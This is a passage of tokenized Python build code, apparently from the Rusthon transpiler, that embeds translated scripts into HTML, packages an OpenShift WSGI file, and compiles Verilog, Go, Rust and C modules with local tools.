"\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "TOD", "O", " ", "fix", " ", "this", " ", "ug", "ly", " ", "mess_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "javascript", " ", "with", " ", "unicode_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "xxx", "_", "=_", "u", "'<", "script", " ", "type", "=\"", "text", "/", "javascript", "\"", " ", "id", "=\"", "%", "s", "\\u", "transp", "ile", "d", "\">", "\\\\", "n", "%", "s", "</", "script", ">'_", "%_", "(_", "tagname_", ",_", "js_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Unic", "ode", "Decode", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "rust", "hon", " ", "translat", "ed", " ", "to", " ", "js_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "xxx", "_", "=_", "u", "'<", "script", " ", "type", "=\"", "text", "/", "javascript", "\"", " ", "id", "=\"", "%", "s", "\\u", "transp", "ile", "d", "\">", "\\\\", "n", "%", "s", "</", "script", ">'_", "%_", "(_", "tagname_", ",_", "js_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "=_", "html_", "._", "replace_", "(_", "tag_", ",_", "xxx", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tagname_", "in_", "tagg", "ed", "\\u", "trans", "\\u", "src_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "stag", "_", "=_", "u", "'<!", "%", "s", ">'_", "%_", "tagname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "py_", "=_", "tagg", "ed", "\\u", "trans", "\\u", "src_", "[_", "tagname_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stag", "_", "in_", "html_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "TOD", "O", " ", "fix", " ", "this", " ", "ug", "ly", " ", "mess_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "xxx", "_", "=_", "u", "'<", "script", " ", "type", "=\"", "text", "/", "rust", "hon", "\"", " ", "id", "=\"", "%", "s", "\">", "\\\\", "n", "%", "s", "</", "script", ">'_", "%_", "(_", "tagname_", ",_", "py_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Unic", "ode", "Decode", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "xxx", "_", "=_", "u", "'<", "script", " ", "type", "=\"", "text", "/", "rust", "hon", "\"", " ", "id", "=\"", "%", "s", "\">", "\\\\", "n", "%", "s", "</", "script", ">'_", "%_", "(_", "tagname_", ",_", "py_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "=_", "html_", "._", "replace_", "(_", "stag", "_", ",_", "xxx", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mod_", "[_", "'", "code", "'_", "]_", "=_", "html_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "html", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "inline", "s", " ", "js", " ", "app", " ", "int", "o", " ", "opens", "hift", " ", "default", " ", "style", " ", "python", " ", "server", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'--", "opens", "hift", "-", "python", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bco", "ded", "_", "=_", "base64_", "._", "b64encode_", "(_", "mod_", "[_", "'", "code", "'_", "]_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wsgi_", "=_", "[_", "OPENS", "HIFT", "\\u", "PY", "_", "[_", "0_", "]_", "%_", "bco", "ded", "_", ",_", "OPENS", "HIFT", "\\u", "PY", "_", "[_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "'", "wsgi", ".", "py", "'_", "]_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "wsgi_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "veri", "log", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "source_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "mod_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "veri", "log", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "source_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "name", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "name", "'_", "]_", "==_", "'", "main", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "main", "mod_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mod_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "veri", "log", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "'/", "usr", "/", "bin", "/", "iver", "ilo", "g", "'_", ")_", "or_", "os_", "._", "path_", "._", "isfile_", "(_", "'/", "usr", "/", "local", "/", "bin", "/", "iver", "ilo", "g", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "mod_", "[_", "'", "source", "'_", "]_", "=_", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "[_", "'", "binar", "y", "'_", "]_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "sv", "-", "build", ".", "vv", "p", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "[_", "'", "name", "'_", "]_", "=_", "'", "main", ".", "vv", "p", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "execute", "able", "s", "'_", "]_", "._", "append_", "(_", "mod_", "[_", "'", "binar", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmpfile_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "veri", "log", "-", "build", ".", "sv", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "note", ":", " ", "iver", "ilo", "g", " ", "default", "s", " ", "to", " ", "veri", "log", " ", "mode", ",", " ", "not", " ", "system", "veri", "log", ",", " ", "`-", "g2", "005", "-", "sv", "`", " ", "is", " ", "require", "d", ".", " ", "'-", "g2", "012", "'", " ", "als", "o", " ", "works", "._", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "iver", "ilo", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "g2", "005", "-", "sv", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "o", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rust", "hon", "-", "sv", "-", "build", ".", "vv", "p", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tmpfile_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "subprocess_", "._", "Popen_", "(_", "cmd_", ",_", "cwd_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "returncode_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "src", "lines_", "=_", "source_", "._", "splitlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "p_", "._", "stderr_", "._", "read_", "(_", ")_", "##", " ", "ends", " ", "with", " ", "\"", "I", " ", "give", " ", "up", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "err_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "'", "synta", "x", " ", "error", "'_", "in_", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "errors_", "._", "append_", "(_", "'-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-", " ", "-'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lineno_", "=_", "int_", "(_", "line_", "._", "split_", "(_", "':'_", ")_", "[_", "-_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Syntax", " ", "Error", " ", "-", " ", "line", ":", " ", "%", "s", "'_", "%_", "lineno_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lineno_", "-_", "2_", "<_", "len_", "(_", "src", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "e_", "._", "append_", "(_", "src", "lines_", "[_", "lineno_", "-_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "lineno_", "-_", "1_", "<_", "len_", "(_", "src", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "e_", "._", "append_", "(_", "src", "lines_", "[_", "lineno_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "lineno_", "<_", "len_", "(_", "src", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "e_", "._", "append_", "(_", "src", "lines_", "[_", "lineno_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "errors_", "._", "extend_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "errors_", "._", "append_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg_", "=_", "[_", "'", " ", "'_", "._", "join_", "(_", "cmd_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "source_", "._", "splitlines_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "msg_", "._", "append_", "(_", "'%", "s", ":", "\t", "%", "s", "'_", "%_", "(_", "i_", "+_", "1_", ",_", "line_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg_", "._", "extend_", "(_", "errors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "msg_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "print_", "(_", "'", "WARN", "ING", ":", " ", "coul", "d", " ", "not", " ", "find", " ", "iver", "ilo", "g", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "[_", "'", "code", "'_", "]_", "=_", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "go", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "go", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "name", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "name_", "=_", "mod_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "==_", "'", "main", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "output_", "[_", "'", "go", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "go", "\\u", "main_", "[_", "'", "source", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "go", "'_", "]_", "._", "insert_", "(_", "0_", ",_", "go", "\\u", "main_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "output_", "[_", "'", "go", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "source_", "=_", "[_", "mod_", "[_", "'", "source", "'_", "]_", "for_", "mod_", "in_", "output_", "[_", "'", "go", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmpfile_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "go", "-", "build", ".", "go", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "source_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "GO", "\\u", "EXE", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "=_", "[_", "GO", "\\u", "EXE", "_", ",_", "'", "build", "'_", ",_", "tmpfile_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "GO", "\\u", "EXE", "_", ",_", "'", "build", "'_", ",_", "tmpfile_", "]_", ",_", "cwd_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod_", "[_", "'", "binar", "y", "'_", "]_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "go", "-", "build", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "execute", "able", "s", "'_", "]_", "._", "append_", "(_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "go", "-", "build", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "rust", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "source_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "mod_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "rust", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "source_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "name", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "name", "'_", "]_", "==_", "'", "main", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "main", "mod_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmpfile_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "build", ".", "rs", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pak", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "modules_", "[_", "'", "c", "++'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "libname", "_", "=_", "'", "rust", "hon", "-", "lib", "%", "s", "'_", "%_", "len_", "(_", "output_", "[_", "'", "rust", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "._", "append_", "(_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "rust", "c", "'_", ",_", "'--", "crate", "-", "name", "'_", ",_", "'", "rust", "hon", "'_", ",_", "'--", "crate", "-", "type", "'_", ",_", "'", "static", "lib", "'_", ",_", "'-", "o", "'_", ",_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/'_", "+_", "libname", "_", ",_", "tmpfile_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pak", "_", "=_", "{_", "'", "source", "'_", ":_", "data_", ",_", "'", "static", "lib", "'_", ":_", "libname", "_", ",_", "'", "name", "'_", ":_", "'", "lib", "'_", "+_", "libname", "_", "+_", "'.", "a", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "rust", "c", "'_", ",_", "'--", "crate", "-", "name", "'_", ",_", "'", "rust", "hon", "'_", ",_", "'-", "o", "'_", ",_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "bin", "'_", ",_", "tmpfile_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pak", "_", "=_", "{_", "'", "source", "'_", ":_", "data_", ",_", "'", "binar", "y", "'_", ":_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "bin", "'_", ",_", "'", "name", "'_", ":_", "'", "rust", "hon", "-", "bin", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "execute", "able", "s", "'_", "]_", "._", "append_", "(_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "bin", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "pak", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "mod_", "[_", "'", "build", "'_", "]_", "=_", "pak", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "rust", "'_", "]_", "._", "append_", "(_", "pak", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "c", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "dynami", "clib", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cin", "clu", "de_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cb", "uild", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "c", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "dynami", "c", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "dynami", "c", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "dynami", "clib", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "link", "-", "dirs", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cin", "clu", "de_", "._", "extend_", "(_", "mod_", "[_", "'", "link", "-", "dirs", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "build", "-", "dirs", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "for_", "bdi", "r_", "in_", "mod_", "[_", "'", "build", "-", "dirs", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "for_", "fname_", "in_", "os_", "._", "listdir_", "(_", "bdi", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "if_", "fname_", "._", "endswith_", "(_", "'.", "c", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "cb", "uild", "_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "bdi", "r_", ",_", "fname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 